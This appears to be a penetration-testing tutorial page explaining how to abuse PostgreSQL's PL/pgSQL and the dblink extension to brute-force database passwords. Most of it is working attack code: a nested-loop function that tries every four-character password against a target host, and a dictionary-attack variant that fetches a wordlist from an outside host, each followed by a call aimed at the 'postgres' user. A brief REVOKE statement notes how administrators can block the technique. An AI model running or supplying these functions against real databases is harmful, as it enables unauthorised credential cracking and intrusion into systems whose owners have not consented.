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PL/pgSQL Password Bruteforce

PL/pgSQL, as a fully featured programming language, allows much more procedural control than SQL, including the ability to use loops and other control structures. SQL statements and triggers can call functions created in the PL/pgSQL language.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
By default, creating functions is a privilege granted to PUBLIC, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
In that case, our previous query would output different results:
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
Note that for the following script to work the function dblink needs to exist. If it doesn't you could try to create it with
CREATE EXTENSION dblink;

Password Brute Force

Here how you could perform a 4 chars password bruteforce:
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Note that even brute-forcing 4 characters may take several minutes.
You could also download a wordlist and try only those passwords (dictionary attack):
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');